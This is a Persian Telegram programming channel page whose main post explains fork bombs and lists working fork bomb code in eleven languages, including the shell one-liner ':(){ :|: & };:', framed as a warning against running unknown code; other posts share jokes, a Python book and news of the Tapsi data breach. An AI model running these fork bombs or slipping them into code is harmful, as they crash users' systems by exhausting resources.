Fara Code | برنامه نویسی
3.38K subscribers
529 photos
237 videos
67 files
247 links
جایی که صفر و یک‌ها خوش می‌گذره!

📘 books & codes
🧠 tips & tricks
🎉 fun for devs

👥 group: @FaraCodeGp
🧑‍💻 Owner: @samannmz
Download Telegram
Forwarded from « FaraTech »
⚠️هشدار : قبل از کامل خوندن پست، هیچکدوم از کد هارو اجرا نکنید ⚠️


فورک بمب (forkbomb) چیه؟

فورک بمب یه نوع حمله محرومیت از سرویس (DoS) هست که در اون یه فرآیند به طور مداوم اقدام به کپی‌برداری از خودش می‌کنه و به این ترتیب منابع سیستم رو مصرف میکنه، که باعث آهسته شدن و در نهایت از کار افتادن سیستم می‌شه.

نحوه کارکرد فورک بمب‌ها هم به این صورت هست که همزمان هم پردازنده رو اشغال می‌کنن و هم جدول فرایندهای سیستم‌عامل رو اشباع می‌کنن. میشه با ایجاد کردن یه فرآیند جدید تو یه حلقه بی‌نهایت به آسونی یه فورک بمب ساده ساخت.

مثلا یه نمونه از کد فورک بمب تو شل‌اسکریپت به صورت زیر هست:

:(){:|:&};:

این کد یه تابع رو تعریف می‌کنه که خودش رو به صورت بازگشتی فراخوانی می‌کنه. هر بار که این تابع فراخوانی میشه، یه فرآیند جدید ایجاد می‌شه. بنابراین، با اجرای این کد، یه فرآیند جدید به طور مداوم در حال ایجاد شدن هست و این باعث می‌شه که سیستم از کار بیفته.
این یکی از دلایلی هست که میگن هر کدی که تو اینترنت پیدا کردین تا درکش نکردین اجرا نکنین.

خب، مثال هایی از فورک بمب تو زبان‌های مختلف میزارم براتون :

Bash Script :

#!/bin/bash
./$0|./$0&


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Batch (windows) :

%0|%0

⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
C :

#include <stdio.h>
#include <sys/types.h>

int main()
{
while(1)
fork();
return 0;
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Dart :

import'dart:isolate';
class f{
static k(o){
f();
}
f(){
for(;;)
Isolate.spawn(k,0);
}
}
main(){
f();
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
C++ :

#include <cstdlib>

int main(int argc, char **argv)
{
while (1) system(argv[0]);
return 0;
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Golang :

package main

func main() {
for {
go main()
}
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
JavaScript :

<html>
<body>
<script>
setInterval(function() {
var w = window.open();
w.document.write(document.documentElement.outerHTML||document.documentElement.innerHTML);
}, 10);
</script>
</body>
</html>


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Python :

import os
while 1:
os.fork()


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Shell Script :

#!/bin/sh
:(){ :|: & };:


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Rust :

#[allow(unconditional_recursion)]
fn main() {
std::thread::spawn(main);
main();
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏
Code by @WilsonWeber
C# :

while (true)
{
Process.Start(Assembly.GetExecutingAssembly().Location);
}


⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏⚏

کافیه این کد هارو تو یه فایل ذخیره و اجرا کنین، تا ببین چجوری منابع سیستمتون مصرف می‌شه و سیستم کرش می‌کنه🙃
البته، فایل HTML رو اگه اجرا کنین احتمالا بعد چند ثانیه جلوش گرفته می‌شه و نمیزاره صفحات بیشتری باز کنه و موجب کرش بشه، حداقل تو فایرفاکس که اینطوریه.
لطفا اجرا نکنین، فقط خواستم بگم بدونین که چقدر کدهایی که نمیدونین چیکار می‌کنن، میتونن خطرناک باشن(هر چند این که یه کد سادست، ولی کد های خطرناک‌تری هم هست)

پ.ن : اگه اشتباهی تو کدها بود هم بگین تصحیح کنم، تشکر❤️


@ProDev_Channel
👍12👌21
استاد جادی یک ویدیو جالب در مورد زبان برنامه نویسی جدید موجو که خیلی سر و صدا کرده، گذاشته که حتما توصیه میکنم ببینید.

www.instagram.com/reel/Cwh-RwJv7FL/?igshid=MmU2YjMzNjRlOQ==


@Learrning_Python
@python_develops
👍5🔥1
[کتاب پایتونی🐍]
Python Notes for Professionals

فقط فهرست مطالب رو ببینید.

🔻دانلود کتاب در پست بعدی🔻

#book #python
#کتاب #معرفی

🐍▪️@Learrning_Python▪️🐍
👍3
PythonNotesForProfessionals.pdf
5.9 MB
دانلود کتاب Python Notes for  Professionals

دانلود کنید. کتاب با ارزشی هست.

#book #python
#کتاب


🐍@Learrning_Python
🆔@python_develops
1
Fara Code | برنامه نویسی
کدوم یکی از گزینه های زیر رو دوست دارید یاد بگیرید؟
با توجه به این نظرسنجی
اگه یک دوره از پایتون با سه محوریت الگوریتم و لایبرری های کاربردی پایتون و در نهایت سه فریمورک قدرتمند پایتون در وب بزاریم آیا شرکت میکنید؟
Anonymous Quiz
49%
صددرصد
30%
احتمالا
13%
نه
9%
هیچکدام(:
کسی که راه های خیلی سختی برای حل مسائل پیدا میکنه #برنامه_نویس خفن نیست❗️
ساده برنامه نویسی کنید لطفا.....

@Learrning_Python
👍17
This media is not supported in your browser
VIEW IN TELEGRAM
🔥81
🚨گفته میشه سیستم پوش نوتیفیکیشن سامانه 780 هک شده و پیامای زیادی به صورت نوتیفیکیشن ارسال شده


@Learrning_Python
👍11🤯3
واتساپ تو آپدیت بعدی بهمون لطف میکنه و امکان ارسال عکس و ویدیو با کیفیت اصلی رو فراهم میکنه.

@Learrning_Python
👍10😁1
برنامه نویسای قدیم و‌ جدید😂
تغییر بزرگی هست👌😁

#fun
#فان

@Learrning_Python
🤣20👍2😁1
این مثال اون پستی هست که گفتیم ساده برنامه نویسی کنید😅

#python

@Learrning_Python
@python_develops
👍12
عملگر های منطقی در زبان های مختلف📋


@Learrning_Python
@python_develops
👍11
برنامه نویس ها در اینستاگرام vs برنامه نویس ها در گیت هاب😂


@Learrning_Python
@python_develops
👍13😁5
فکت:
- چیکار میکنی؟
+ بک اند دولوپر هستم
- فارسی حرف بزن مگه خارجی ای انگلیسی میگی😐
+ باشه، توسعه دهنده صفحات جهان گستر از پشت هستم😊


@Learrning_Python
🤣27😁2🤯2
تپسی هک شد
تپسی تایید کرد که هکرها به سیستمهای اونا نفوذ کردن و بخشی از دیتابیس های این شرکت از جمله اطلاعات کاربران رو دزدیدن و از این شرکت برای عدم انتشار اونها باج خواستن که این شرکت پرداخت باج رو قبول نکرده.

ظاهرا نام و نام خانوادگی مسافران و راننده ها همراه با شماره موبایل اون ها جزو این اطلاعات بوده.
@Learrning_Python
💔6🤯4
Fara Code | برنامه نویسی
تپسی هک شد تپسی تایید کرد که هکرها به سیستمهای اونا نفوذ کردن و بخشی از دیتابیس های این شرکت از جمله اطلاعات کاربران رو دزدیدن و از این شرکت برای عدم انتشار اونها باج خواستن که این شرکت پرداخت باج رو قبول نکرده. ظاهرا نام و نام خانوادگی مسافران و راننده…
🔰اطلاعات لو رفته تپسی شامل:
⚜️اطلاعات بیش از 27 میلیون مسافر: نام، نام خانوادگی، شماره همراه، شهر و ایمیل

⚜️ اطلاعات بیش از 6 میلیون راننده: نام، نام خانوادگی، کدملی، شهر، شماره همراه

⚜️ اطلاعات بیش از 136 میلیون سفر شامل: ایدی مسافر، ادرس کامل مبدا و مقصد، سورش کد محصولات شرکت تپسی مانند اپلیکیشن های موبایل و...
- اطلاعات دستگاه همراه مسافر و راننده

این اطلاعات هم اکنون به قیمت 35 هزار دلار درحال فروش است!!!
😢9
Downlord
Owl Vision
وقتایی‌که قراره با فاز #هکری
کد‌بزنی پلی کن


#music


@Learrning_Python
👨‍💻6👍4
کل هسته لینوکس 34.8 میلیون خط کد

1.   درایور هسته GPU منبع باز AMD بالای 5 میلیون خط کد

2.  درایور منبع باز NVIDIA "Nouveau" حدود 201k  خط کد

3.  درایور گرافیکی هسته DRM اینتل i915 حدود 381k خط
————————————————-
نویسنده: حسین سیلانی
منبع : کانال لینوکسی: لینوکس تی ان تی
linuxtnt
👍7